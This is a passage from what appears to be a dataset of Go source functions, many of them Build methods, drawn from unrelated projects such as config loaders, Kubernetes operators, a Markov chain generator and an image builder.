append(c.prefixChain[key], word)\\r\\n\\t\\tprevWord := p.Shift(word)\\r\\n\\t\\tprevKey := p.String()\\r\\n\\t\\tc.suffixChain[prevKey] = append(c.suffixChain[prevKey], prevWord)\\r\\n\\t}\\r\\n}\",\n \"func (c *Config) Build() {\\n\\tc.Interval = viper.GetDuration(configInterval)\\n\\tc.MaxKeepedImageFiles = viper.GetInt(configMaxKeepedImageFiles)\\n\\tc.CameraURL = viper.GetString(configCameraURL)\\n\\tc.ImagePath = viper.GetString(configImagePath)\\n\\tc.AlertImagePath = viper.GetString(configAlertImagePath)\\n\\tc.Treshold = viper.GetInt(configTreshold)\\n\\tc.AlertHandlers = viper.GetStringSlice(configAlertHandlers)\\n\\tc.HTTPEnabled = viper.GetBool(configHTTPEnabled)\\n\\tc.HTTPAddr = viper.GetString(configHTTPAddr)\\n\\tc.MetricsEnabled = viper.GetBool(configMetricsEnabled)\\n\\tc.MetricsAddr = viper.GetString(configMetricsAddr)\\n\\n\\tif viper.GetBool(configVerbose) {\\n\\t\\tc.LogLevel = log.DebugLevel\\n\\t} else {\\n\\t\\tc.LogLevel = log.InfoLevel\\n\\t}\\n}\",\n \"func (m builder) build() (oci.SpecModifier, error) {\\n\\tif len(m.devices) == 0 && m.cdiSpec == nil {\\n\\t\\treturn nil, nil\\n\\t}\\n\\n\\tif m.cdiSpec != nil {\\n\\t\\tmodifier := fromCDISpec{\\n\\t\\t\\tcdiSpec: &cdi.Spec{Spec: m.cdiSpec},\\n\\t\\t}\\n\\t\\treturn modifier, nil\\n\\t}\\n\\n\\tregistry, err := cdi.NewCache(\\n\\t\\tcdi.WithAutoRefresh(false),\\n\\t\\tcdi.WithSpecDirs(m.specDirs...),\\n\\t)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to create CDI registry: %v\\\", err)\\n\\t}\\n\\n\\tmodifier := fromRegistry{\\n\\t\\tlogger: m.logger,\\n\\t\\tregistry: registry,\\n\\t\\tdevices: m.devices,\\n\\t}\\n\\n\\treturn modifier, nil\\n}\",\n \"func (c *Config) Build() *ConfProxy {\\n\\tif c.Enable {\\n\\t\\tswitch c.Etcd.Enable {\\n\\t\\tcase true:\\n\\t\\t\\txlog.Info(\\\"plugin\\\", xlog.String(\\\"appConf.etcd\\\", \\\"start\\\"))\\n\\t\\t\\treturn NewConfProxy(c.Enable, etcd.NewETCDDataSource(c.Prefix))\\n\\t\\tdefault:\\n\\t\\t\\txlog.Info(\\\"plugin\\\", xlog.String(\\\"appConf.mysql\\\", \\\"start\\\"))\\n\\t\\t}\\n\\t\\t// todo mysql implement\\n\\t}\\n\\treturn nil\\n}\",\n \"func (pb PlannerBuilder) Build() Planner {\\n\\treturn &planner{\\n\\t\\tlp: NewLogicalPlanner(pb.lopts...),\\n\\t\\tpp: NewPhysicalPlanner(pb.popts...),\\n\\t}\\n}\",\n \"func (fb *FlowBuilder) Build(ID string) flow.Operation {\\n\\tif fb.Err != nil {\\n\\t\\top := fb.flow.ErrOp(fb.Err)\\n\\t\\treturn op\\n\\t}\\n\\tf := fb.flow\\n\\tr := fb.registry\\n\\tdoc := fb.Doc\\n\\n\\tif _, ok := fb.nodeTrack[ID]; ok {\\n\\t\\tfb.Err = ErrLoop //fmt.Errorf(\\\"[%v] Looping through nodes is disabled:\\\", ID)\\n\\t\\top := fb.flow.ErrOp(fb.Err)\\n\\t\\treturn op\\n\\t}\\n\\t// loop detector\\n\\tfb.nodeTrack[ID] = true\\n\\tdefer delete(fb.nodeTrack, ID)\\n\\n\\t// If flow already has ID just return\\n\\tif op, ok := fb.OperationMap[ID]; ok {\\n\\t\\treturn op\\n\\t}\\n\\n\\tnode := fb.Doc.FetchNodeByID(ID)\\n\\tif node == nil {\\n\\t\\top := fb.flow.ErrOp(fmt.Errorf(\\\"node not found [%v]\\\", ID))\\n\\t\\treturn op\\n\\t}\\n\\n\\tvar op flow.Operation\\n\\tvar inputs []reflect.Type\\n\\n\\tswitch node.Src {\\n\\tcase \\\"Portal From\\\":\\n\\t\\tnID := node.Prop[\\\"portal from\\\"]\\n\\t\\tn := doc.FetchNodeByID(nID)\\n\\t\\tif n == nil {\\n\\t\\t\\treturn f.ErrOp(fmt.Errorf(\\\"Invalid portal, id: %v\\\", nID))\\n\\t\\t}\\n\\t\\t// Fetch existing or build new\\n\\t\\top = fb.Build(nID)\\n\\t\\tfb.OperationMap[node.ID] = op\\n\\t\\treturn op\\n\\tcase \\\"Input\\\":\\n\\t\\tinputID, err := strconv.Atoi(node.Prop[\\\"input\\\"])\\n\\t\\tif err != nil {\\n\\t\\t\\top := f.ErrOp(errors.New(\\\"Invalid inputID value, must be a number\\\"))\\n\\t\\t\\tfb.OperationMap[node.ID] = op\\n\\t\\t\\treturn op\\n\\t\\t}\\n\\t\\top := f.In(inputID) // By id perhaps\\n\\t\\tfb.OperationMap[node.ID] = op\\n\\t\\treturn op\\n\\tcase \\\"Var\\\":\\n\\t\\tlog.Println(\\\"Source is a variable\\\")\\n\\t\\tvar t interface{}\\n\\t\\tinputs = []reflect.Type{reflect.TypeOf(t)}\\n\\tcase \\\"SetVar\\\":\\n\\t\\tlog.Println(\\\"Source is a setvariable\\\")\\n\\t\\tvar t interface{}\\n\\t\\tinputs = []reflect.Type{reflect.TypeOf(t)}\\n\\tdefault:\\n\\t\\tlog.Println(\\\"Loading entry:\\\", node.Src)\\n\\t\\tentry, err := r.Entry(node.Src)\\n\\t\\tif err != nil {\\n\\t\\t\\top = f.ErrOp(err)\\n\\t\\t\\tfb.OperationMap[node.ID] = op\\n\\t\\t\\treturn op\\n\\t\\t}\\n\\t\\tinputs = entry.Inputs\\n\\n\\t}\\n\\n\\t//// Build inputs ////\\n\\tparam := make([]flow.Data, len(inputs))\\n\\tfor i := range param {\\n\\t\\tl := doc.FetchLinkTo(node.ID, i)\\n\\t\\tif l == nil { // No link we fetch the value inserted\\n\\t\\t\\t// Direct input entries\\n\\t\\t\\tv, err := parseValue(inputs[i], node.DefaultInputs[i])\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tparam[i] = f.ErrOp(err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\tparam[i] = v\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tparam[i] = fb.Build(l.From)\\n\\t}\\n\\n\\t//Switch again\\n\\tswitch node.Src {\\n\\tcase \\\"Var\\\":\\n\\t\\top = f.Var(node.Prop[\\\"variable name\\\"], param[0])\\n\\tcase \\\"SetVar\\\":\\n\\t\\top = f.SetVar(node.Prop[\\\"variable name\\\"], param[0])\\n\\tdefault:\\n\\t\\top = f.Op(node.Src, param...)\\n\\t}\\n\\n\\tfb.OperationMap[node.ID] = op\\n\\tfb.buildTriggersFor(node, op)\\n\\n\\treturn op\\n}\",\n \"func Build(o parser.Object) Query {\\n\\troot := Query{IsTop: true}\\n\\tq := &root\\n\\tt := o.Type\\n\\tindex := 0\\n\\n\\tfor {\\n\\t\\tq.Index = index\\n\\t\\tq.Type = t.RawTypeName()\\n\\n\\t\\tswitch kind := t.(type) {\\n\\t\\tcase ast.BuiltIn:\\n\\t\\t\\tq.IsBuiltin = true\\n\\t\\t\\tt = nil\\n\\t\\tcase ast.Array:\\n\\t\\t\\tq.IsArray = true\\n\\t\\t\\tt = kind.Element\\n\\t\\tcase ast.Map:\\n\\t\\t\\tq.IsMap = true\\n\\t\\t\\tq.KeyType = kind.Key.RawTypeName()\\n\\t\\t\\tt = kind.Value\\n\\t\\tcase ast.Struct:\\n\\t\\t\\tq.IsStruct = true\\n\\t\\t\\tfor _, f := range kind.Fields {\\n\\t\\t\\t\\tq.Fields = append(q.Fields, Query{\\n\\t\\t\\t\\t\\tName: f.Name,\\n\\t\\t\\t\\t\\tAlias: f.Alias,\\n\\t\\t\\t\\t\\tIsBuiltin: true,\\n\\t\\t\\t\\t\\tIndex: index + 1,\\n\\t\\t\\t\\t\\tType: f.Type.RawTypeName(),\\n\\t\\t\\t\\t})\\n\\t\\t\\t}\\n\\t\\t\\tt = nil\\n\\t\\t}\\n\\n\\t\\tif t == nil {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\n\\t\\tnext := &Query{}\\n\\n\\t\\tq.Next = next\\n\\n\\t\\tq = next\\n\\t\\tindex++\\n\\t}\\n\\n\\treturn root\\n}\",\n \"func AVLBuild(args []string) (root *Node) {\\n\\tfor _, str := range args {\\n\\t\\tvalue, err := strconv.Atoi(str)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Print(err)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\troot, _ = AVLInsert(root, value)\\n\\t\\tif !BSTProperty(root) {\\n\\t\\t\\tfmt.Fprintf(os.Stderr, \\\"Inserted %d, no longer has BST property\\\\n\\\", value)\\n\\t\\t}\\n\\t}\\n\\treturn root\\n}\",\n \"func (b *IntervalBuilder) Build(from, to time.Time) Interval {\\n\\tret := Interval{\\n\\t\\tCondition: b.BuildCondition(),\\n\\t\\tDisplay: b.display,\\n\\t\\tSource: b.source,\\n\\t\\tFrom: from,\\n\\t\\tTo: to,\\n\\t}\\n\\n\\treturn ret\\n}\",\n \"func (c *Chain) Build(r io.Reader) {\\n\\tbr := bufio.NewReader(r)\\n\\tp := make(Prefix, c.prefixLen)\\n\\tfor {\\n\\t\\tvar s string\\n\\t\\tif _, err := fmt.Fscan(br, &s); err != nil {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\tc.words[s] = true\\n\\t\\tkey := p.String()\\n\\t\\tc.chain[key] = append(c.chain[key], s)\\n\\t\\tp.Shift(s)\\n\\t}\\n}\",\n \"func MakeProductOperator(op *Operator, operands map[string]string) {\\n\\tinvertRight := operands[\\\"invertright\\\"] == \\\"yes\\\"\\n\\tparent1 := op.Parents[0]\\n\\tparent2 := op.Parents[1]\\n\\tvar matrix1 map[[2]int]*MatrixData\\n\\tvar matrix2 map[[2]int]*MatrixData\\n\\n\\top.InitFunc = func(frame *Frame) {\\n\\t\\tdriver.DeleteMatrixAfter(op.Name, frame.Time)\\n\\t\\tmatrix1 = driver.LoadMatrixBefore(parent1.Name, frame.Time)\\n\\t\\tmatrix2 = driver.LoadMatrixBefore(parent2.Name, frame.Time)\\n\\t\\top.updateChildRerunTime(frame.Time)\\n\\t}\\n\\n\\top.Func = func(frame *Frame, pd ParentData) {\\n\\t\\tnewCells := make(map[[2]int]bool)\\n\\t\\tfor _, md := range pd.MatrixData[0] {\\n\\t\\t\\tcell := [2]int{md.I, md.J}\\n\\t\\t\\tmatrix1[cell] = md\\n\\t\\t\\tnewCells[cell] = true\\n\\t\\t}\\n\\t\\tfor _, md := range pd.MatrixData[1] {\\n\\t\\t\\tcell := [2]int{md.I, md.J}\\n\\t\\t\\tmatrix2[cell] = md\\n\\t\\t\\tnewCells[cell] = true\\n\\t\\t}\\n\\t\\tfor cell := range newCells {\\n\\t\\t\\tif matrix1[cell] == nil || matrix2[cell] == nil {\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\tleft := matrix1[cell].Val\\n\\t\\t\\tright := matrix2[cell].Val\\n\\t\\t\\tif invertRight {\\n\\t\\t\\t\\tright = 1 - right\\n\\t\\t\\t}\\n\\t\\t\\tAddMatrixData(op.Name, cell[0], cell[1], left * right, \\\"\\\", frame.Time)\\n\\t\\t}\\n\\t}\\n\\n\\top.Loader = op.MatrixLoader\\n}\",\n \"func (qb *HuxQueryBuilder) Build() huxQuery {\\n\\tif qb.queryStation == \\\"\\\" {\\n\\t\\tpanic(\\\"Query station must be set\\\")\\n\\t}\\n\\n\\tstr := \\\"/\\\" + qb.queryStation\\n\\n\\t// Optional filter parameters\\n\\tif qb.filterDirection != \\\"\\\" && qb.filterStation != \\\"\\\" {\\n\\t\\tstr = str + \\\"/\\\" + string(qb.filterDirection) + \\\"/\\\" + qb.filterStation\\n\\t}\\n\\n\\tif qb.numRows != 0 {\\n\\t\\tstr = fmt.Sprintf(\\\"%s/%d\\\", str, qb.numRows)\\n\\t}\\n\\n\\treturn huxQuery(str)\\n}\",\n \"func WithBuild(cfg *v1alpha1.Configuration) {\\n\\tcfg.Spec.Build = &v1alpha1.RawExtension{\\n\\t\\tObject: &unstructured.Unstructured{\\n\\t\\t\\tObject: map[string]interface{}{\\n\\t\\t\\t\\t\\\"apiVersion\\\": \\\"testing.build.knative.dev/v1alpha1\\\",\\n\\t\\t\\t\\t\\\"kind\\\": \\\"Build\\\",\\n\\t\\t\\t\\t\\\"spec\\\": map[string]interface{}{\\n\\t\\t\\t\\t\\t\\\"steps\\\": []interface{}{\\n\\t\\t\\t\\t\\t\\tmap[string]interface{}{\\n\\t\\t\\t\\t\\t\\t\\t\\\"image\\\": \\\"foo\\\",\\n\\t\\t\\t\\t\\t\\t},\\n\\t\\t\\t\\t\\t\\tmap[string]interface{}{\\n\\t\\t\\t\\t\\t\\t\\t\\\"image\\\": \\\"bar\\\",\\n\\t\\t\\t\\t\\t\\t},\\n\\t\\t\\t\\t\\t},\\n\\t\\t\\t\\t},\\n\\t\\t\\t},\\n\\t\\t},\\n\\t}\\n}\",\n \"func (h *Handler) Build(name string, params Params) (string, error) {\\n\\tb, ok := h.router.(Builder)\\n\\tif !ok {\\n\\t\\treturn \\\"\\\", errors.New(\\\"mux: router is not a Builder\\\")\\n\\t}\\n\\treturn b.Build(name, params)\\n}\",\n \"func (t *targetBuilder) build() *rule.Rule {\\n\\tr := rule.NewRule(t.kind, t.name)\\n\\tif !t.srcs.Empty() {\\n\\t\\tr.SetAttr(\\\"srcs\\\", t.srcs.Values())\\n\\t}\\n\\tif !t.visibility.Empty() {\\n\\t\\tr.SetAttr(\\\"visibility\\\", t.visibility.Values())\\n\\t}\\n\\tif t.main != nil {\\n\\t\\tr.SetAttr(\\\"main\\\", *t.main)\\n\\t}\\n\\tif t.imports != nil {\\n\\t\\tr.SetAttr(\\\"imports\\\", t.imports)\\n\\t}\\n\\tif !t.deps.Empty() {\\n\\t\\tr.SetPrivateAttr(config.GazelleImportsKey, t.deps)\\n\\t}\\n\\tif t.testonly {\\n\\t\\tr.SetAttr(\\\"testonly\\\", true)\\n\\t}\\n\\tr.SetPrivateAttr(resolvedDepsKey, t.resolvedDeps)\\n\\treturn r\\n}\",\n \"func (builder *appGwConfigBuilder) Build() *network.ApplicationGatewayPropertiesFormat {\\n\\tconfig := builder.appGwConfig\\n\\treturn &config\\n}\",\n \"func (conf PostgresConfig) Build() string {\\n\\tconst formatParam = \\\"%s=%s \\\"\\n\\tvar buffer bytes.Buffer\\n\\n\\tif conf.Database != \\\"\\\" {\\n\\t\\tbuffer.WriteString(fmt.Sprintf(formatParam, \\\"dbname\\\", conf.Database))\\n\\t}\\n\\n\\tif conf.UserID != \\\"\\\" {\\n\\t\\tbuffer.WriteString(fmt.Sprintf(formatParam, \\\"user\\\", conf.UserID))\\n\\t}\\n\\n\\tif conf.Password != \\\"\\\" {\\n\\t\\tbuffer.WriteString(fmt.Sprintf(formatParam, \\\"password\\\", conf.Password))\\n\\t}\\n\\n\\tif conf.Host != nil {\\n\\t\\tbuffer.WriteString(fmt.Sprintf(formatParam, \\\"host\\\", *conf.Host))\\n\\t}\\n\\n\\tif conf.Port != nil {\\n\\t\\tbuffer.WriteString(fmt.Sprintf(formatParam, \\\"port\\\", strconv.Itoa(*conf.Port)))\\n\\t}\\n\\n\\tif conf.SslMode != \\\"\\\" {\\n\\t\\tbuffer.WriteString(fmt.Sprintf(formatParam, \\\"sslmode\\\", conf.SslMode))\\n\\t}\\n\\n\\tif conf.ConnectionTimeout != nil {\\n\\t\\tbuffer.WriteString(fmt.Sprintf(formatParam, \\\"connect_timeout\\\", strconv.Itoa(*conf.ConnectionTimeout)))\\n\\t}\\n\\n\\treturn buffer.String()\\n}\",\n \"func buildInternal(name string, pull bool, conf string) {\\n\\tif name == \\\"\\\" {\\n\\t\\tname = filepath.Base(conf)\\n\\t\\text := filepath.Ext(conf)\\n\\t\\tif ext != \\\"\\\" {\\n\\t\\t\\tname = name[:len(name)-len(ext)]\\n\\t\\t}\\n\\t}\\n\\n\\tconfig, err := ioutil.ReadFile(conf)\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"Cannot open config file: %v\\\", err)\\n\\t}\\n\\n\\tm, err := NewConfig(config)\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"Invalid config: %v\\\", err)\\n\\t}\\n\\n\\tw := new(bytes.Buffer)\\n\\tiw := initrd.NewWriter(w)\\n\\n\\tif pull || enforceContentTrust(m.Kernel.Image, &m.Trust) {\\n\\t\\tlog.Infof(\\\"Pull kernel image: %s\\\", m.Kernel.Image)\\n\\t\\terr := dockerPull(m.Kernel.Image, enforceContentTrust(m.Kernel.Image, &m.Trust))\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Fatalf(\\\"Could not pull image %s: %v\\\", m.Kernel.Image, err)\\n\\t\\t}\\n\\t}\\n\\t// get kernel bzImage and initrd tarball from container\\n\\t// TODO examine contents to see what names they might have\\n\\tlog.Infof(\\\"Extract kernel image: %s\\\", m.Kernel.Image)\\n\\tconst (\\n\\t\\tbzimageName = \\\"bzImage\\\"\\n\\t\\tktarName = \\\"kernel.tar\\\"\\n\\t)\\n\\tout, err := dockerRun(m.Kernel.Image, \\\"tar\\\", \\\"cf\\\", \\\"-\\\", bzimageName, ktarName)\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"Failed to extract kernel image and tarball: %v\\\", err)\\n\\t}\\n\\tbuf := bytes.NewBuffer(out)\\n\\tbzimage, ktar, err := untarKernel(buf, bzimageName, ktarName)\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"Could not extract bzImage and kernel filesystem from tarball. %v\\\", err)\\n\\t}\\n\\tinitrdAppend(iw, ktar)\\n\\n\\t// convert init images to tarballs\\n\\tlog.Infof(\\\"Add init containers:\\\")\\n\\tfor _, ii := range m.Init {\\n\\t\\tif pull || enforceContentTrust(ii, &m.Trust) {\\n\\t\\t\\tlog.Infof(\\\"Pull init image: %s\\\", ii)\\n\\t\\t\\terr := dockerPull(ii, enforceContentTrust(ii, &m.Trust))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Fatalf(\\\"Could not pull image %s: %v\\\", ii, err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tlog.Infof(\\\"Process init image: %s\\\", ii)\\n\\t\\tinit, err := ImageExtract(ii, \\\"\\\")\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Fatalf(\\\"Failed to build init tarball from %s: %v\\\", ii, err)\\n\\t\\t}\\n\\t\\tbuffer := bytes.NewBuffer(init)\\n\\t\\tinitrdAppend(iw, buffer)\\n\\t}\\n\\n\\tlog.Infof(\\\"Add onboot containers:\\\")\\n\\tfor i, image := range m.Onboot {\\n\\t\\tif pull || enforceContentTrust(image.Image, &m.Trust) {\\n\\t\\t\\tlog.Infof(\\\" Pull: %s\\\", image.Image)\\n\\t\\t\\terr := dockerPull(image.Image, enforceContentTrust(image.Image, &m.Trust))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Fatalf(\\\"Could not pull image %s: %v\\\", image.Image, err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tlog.Infof(\\\" Create OCI config for %s\\\", image.Image)\\n\\t\\tconfig, err := ConfigToOCI(&image)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Fatalf(\\\"Failed to create config.json for %s: %v\\\", image.Image, err)\\n\\t\\t}\\n\\t\\tso := fmt.Sprintf(\\\"%03d\\\", i)\\n\\t\\tpath := \\\"containers/onboot/\\\" + so + \\\"-\\\" + image.Name\\n\\t\\tout, err := ImageBundle(path, image.Image, config)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Fatalf(\\\"Failed to extract root filesystem for %s: %v\\\", image.Image, err)\\n\\t\\t}\\n\\t\\tbuffer := bytes.NewBuffer(out)\\n\\t\\tinitrdAppend(iw, buffer)\\n\\t}\\n\\n\\tlog.Infof(\\\"Add service containers:\\\")\\n\\tfor _, image := range m.Services {\\n\\t\\tif pull || enforceContentTrust(image.Image, &m.Trust) {\\n\\t\\t\\tlog.Infof(\\\" Pull: %s\\\", image.Image)\\n\\t\\t\\terr := dockerPull(image.Image, enforceContentTrust(image.Image, &m.Trust))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Fatalf(\\\"Could not pull image %s: %v\\\", image.Image, err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tlog.Infof(\\\" Create OCI config for %s\\\", image.Image)\\n\\t\\tconfig, err := ConfigToOCI(&image)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Fatalf(\\\"Failed to create config.json for %s: %v\\\", image.Image, err)\\n\\t\\t}\\n\\t\\tpath := \\\"containers/services/\\\" + image.Name\\n\\t\\tout, err := ImageBundle(path, image.Image, config)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Fatalf(\\\"Failed to extract root filesystem for %s: %v\\\", image.Image, err)\\n\\t\\t}\\n\\t\\tbuffer := bytes.NewBuffer(out)\\n\\t\\tinitrdAppend(iw, buffer)\\n\\t}\\n\\n\\t// add files\\n\\tbuffer, err := filesystem(m)\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"failed to add filesystem parts: %v\\\", err)\\n\\t}\\n\\tinitrdAppend(iw, buffer)\\n\\terr = iw.Close()\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"initrd close error: %v\\\", err)\\n\\t}\\n\\n\\tlog.Infof(\\\"Create outputs:\\\")\\n\\terr = outputs(m, name, bzimage.Bytes(), w.Bytes())\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"Error writing outputs: %v\\\", err)\\n\\t}\\n}\",\n \"func (c Closer) Build() string {\\n\\tb := strings.Builder{}\\n\\tb.WriteString(\\\"(\\\")\\n\\n\\tfor arg := range c.Value {\\n\\t\\tb.WriteString(c.Value[arg].Build())\\n\\t}\\n\\n\\tb.WriteString(\\\") \\\")\\n\\treturn b.String()\\n}\",\n \"func Build(input PairSlice) (vm FstVM, err error) {\\n\\tm := buildMast(input)\\n\\treturn m.compile()\\n}\",\n \"func newFromValue(clusterClient kubernetes.Interface, client k8s.Interface, wfr *v1alpha1.WorkflowRun, namespace string) (Operator, error) {\\n\\tf, err := client.CycloneV1alpha1().Workflows(namespace).Get(context.TODO(), wfr.Spec.WorkflowRef.Name, metav1.GetOptions{})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn &operator{\\n\\t\\tclusterClient: clusterClient,\\n\\t\\tclient: client,\\n\\t\\trecorder: common.GetEventRecorder(client, common.EventSourceWfrController),\\n\\t\\twf: f,\\n\\t\\twfr: wfr,\\n\\t}, nil\\n}\",\n \"func (*SpecFactory) Build(resource string) runtime.Object {\\n\\n\\tswitch resource {\\n\\tcase \\\"services\\\":\\n\\t\\treturn &v1.Service{}\\n\\tcase \\\"configmaps\\\":\\n\\t\\treturn &v1.ConfigMap{}\\n\\t}\\n\\n\\tpanic(fmt.Errorf(\\\"no resource mapped for %s\\\", resource))\\n}\",\n \"func NewConfigure(p fsm.ExecutorParams, operator ops.Operator) (fsm.PhaseExecutor, error) {\\n\\tlogger := &fsm.Logger{\\n\\t\\tFieldLogger: logrus.WithFields(logrus.Fields{\\n\\t\\t\\tconstants.FieldPhase: p.Phase.ID,\\n\\t\\t}),\\n\\t\\tKey: opKey(p.Plan),\\n\\t\\tOperator: operator,\\n\\t}\\n\\tvar env map[string]string\\n\\tvar config []byte\\n\\tif p.Phase.Data != nil && p.Phase.Data.Install != nil {\\n\\t\\tenv = p.Phase.Data.Install.Env\\n\\t\\tconfig = p.Phase.Data.Install.Config\\n\\t}\\n\\treturn &configureExecutor{\\n\\t\\tFieldLogger: logger,\\n\\t\\tOperator: operator,\\n\\t\\tExecutorParams: p,\\n\\t\\tenv: env,\\n\\t\\tconfig: config,\\n\\t}, nil\\n}\",\n \"func BuildConfig() *utils.GraphQLConfig {\\n\\tconfig := &utils.GraphQLConfig{}\\n\\tflag.Usage = func() {\\n\\t\\tconfig.OutputUsage()\\n\\t\\tos.Exit(0)\\n\\t}\\n\\tflag.Parse()\\n\\terr := config.PopulateFromEnv()\\n\\tif err != nil {\\n\\t\\tconfig.OutputUsage()\\n\\t\\tlog.Errorf(\\\"Invalid graphql config: err: %v\\\\n\\\", err)\\n\\t\\tos.Exit(2)\\n\\t}\\n\\n\\treturn config\\n}\",\n \"func Build() error {\\n\\tstart := time.Now()\\n\\n\\tconfigContent, err := ioutil.ReadFile(env.ConfigPath)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"could not load local config\\\")\\n\\t}\\n\\n\\tconfig, err := (&website.Config{}).Parse(string(configContent))\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"could not parse local config: %v\\\", err)\\n\\t}\\n\\n\\tquery, err := config.Query()\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"could not generate query from config: %v\\\", err)\\n\\t}\\n\\n\\tdataReq, err := http.NewRequest(\\\"POST\\\", env.GraphQLEndpoint, bytes.NewReader(query))\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"could not create data request: %v\\\", err)\\n\\t}\\n\\tdataReq.Header.Add(\\\"Authorization\\\", fmt.Sprintf(\\\"bearer %v\\\", env.GraphQLToken))\\n\\n\\tdataRes, err := (&http.Client{}).Do(dataReq)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"request for data failed\\\")\\n\\t}\\n\\n\\tdataBody := &bytes.Buffer{}\\n\\t_, err = io.Copy(dataBody, dataRes.Body)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"could not read data response: %v\\\", err)\\n\\t}\\n\\n\\tdata, err := (&website.Data{}).Parse(dataBody.String())\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"could not parse received data: %v\\\", err)\\n\\t}\\n\\n\\tfor i := 0; i < len(config.Creations); i++ {\\n\\t\\tdata.Creations = append(data.Creations, &website.CreationData{\\n\\t\\t\\tTitle: config.Creations[i].Title,\\n\\t\\t\\tImageURL: config.Creations[i].ImageURL,\\n\\t\\t\\tBackgroundColor: config.Creations[i].BackgroundColor,\\n\\t\\t})\\n\\t}\\n\\n\\toutput, err := website.Render(env.TemplateDir, env.TemplateEntry, data)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"could not render templates: %v\\\", err)\\n\\t}\\n\\n\\terr = ioutil.WriteFile(env.OutputFile, output.Bytes(), 0644)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"could not write rendered output to file: %v\\\", err)\\n\\t}\\n\\n\\tfmt.Printf(\\\"built in %v\\\\n\\\", time.Since(start))\\n\\n\\treturn nil\\n}\",\n \"func New(\\n\\tnamespace, name, imagesFile string,\\n\\tmcpInformer mcfginformersv1.MachineConfigPoolInformer,\\n\\tmcInformer mcfginformersv1.MachineConfigInformer,\\n\\tcontrollerConfigInformer mcfginformersv1.ControllerConfigInformer,\\n\\tserviceAccountInfomer coreinformersv1.ServiceAccountInformer,\\n\\tcrdInformer apiextinformersv1.CustomResourceDefinitionInformer,\\n\\tdeployInformer appsinformersv1.DeploymentInformer,\\n\\tdaemonsetInformer appsinformersv1.DaemonSetInformer,\\n\\tclusterRoleInformer rbacinformersv1.ClusterRoleInformer,\\n\\tclusterRoleBindingInformer rbacinformersv1.ClusterRoleBindingInformer,\\n\\tmcoCmInformer,\\n\\tclusterCmInfomer coreinformersv1.ConfigMapInformer,\\n\\tinfraInformer configinformersv1.InfrastructureInformer,\\n\\tnetworkInformer configinformersv1.NetworkInformer,\\n\\tproxyInformer configinformersv1.ProxyInformer,\\n\\tdnsInformer configinformersv1.DNSInformer,\\n\\tclient mcfgclientset.Interface,\\n\\tkubeClient kubernetes.Interface,\\n\\tapiExtClient apiextclientset.Interface,\\n\\tconfigClient configclientset.Interface,\\n\\toseKubeAPIInformer coreinformersv1.ConfigMapInformer,\\n\\tnodeInformer coreinformersv1.NodeInformer,\\n\\tmaoSecretInformer coreinformersv1.SecretInformer,\\n\\timgInformer configinformersv1.ImageInformer,\\n) *Operator {\\n\\teventBroadcaster := record.NewBroadcaster()\\n\\teventBroadcaster.StartLogging(klog.Infof)\\n\\teventBroadcaster.StartRecordingToSink(&coreclientsetv1.EventSinkImpl{Interface: kubeClient.CoreV1().Events(\\\"\\\")})\\n\\n\\toptr := &Operator{\\n\\t\\tnamespace: namespace,\\n\\t\\tname: name,\\n\\t\\timagesFile: imagesFile,\\n\\t\\tvStore: newVersionStore(),\\n\\t\\tclient: client,\\n\\t\\tkubeClient: kubeClient,\\n\\t\\tapiExtClient: apiExtClient,\\n\\t\\tconfigClient: configClient,\\n\\t\\teventRecorder: ctrlcommon.NamespacedEventRecorder(eventBroadcaster.NewRecorder(scheme.Scheme, corev1.EventSource{Component: \\\"machineconfigoperator\\\"})),\\n\\t\\tlibgoRecorder: events.NewRecorder(kubeClient.CoreV1().Events(ctrlcommon.MCONamespace), \\\"machine-config-operator\\\", &corev1.ObjectReference{\\n\\t\\t\\tKind: \\\"Deployment\\\",\\n\\t\\t\\tName: \\\"machine-config-operator\\\",\\n\\t\\t\\tNamespace: ctrlcommon.MCONamespace,\\n\\t\\t\\tAPIVersion: \\\"apps/v1\\\",\\n\\t\\t}),\\n\\t\\tqueue: workqueue.NewNamedRateLimitingQueue(workqueue.DefaultControllerRateLimiter(), \\\"machineconfigoperator\\\"),\\n\\t}\\n\\n\\tfor _, i := range 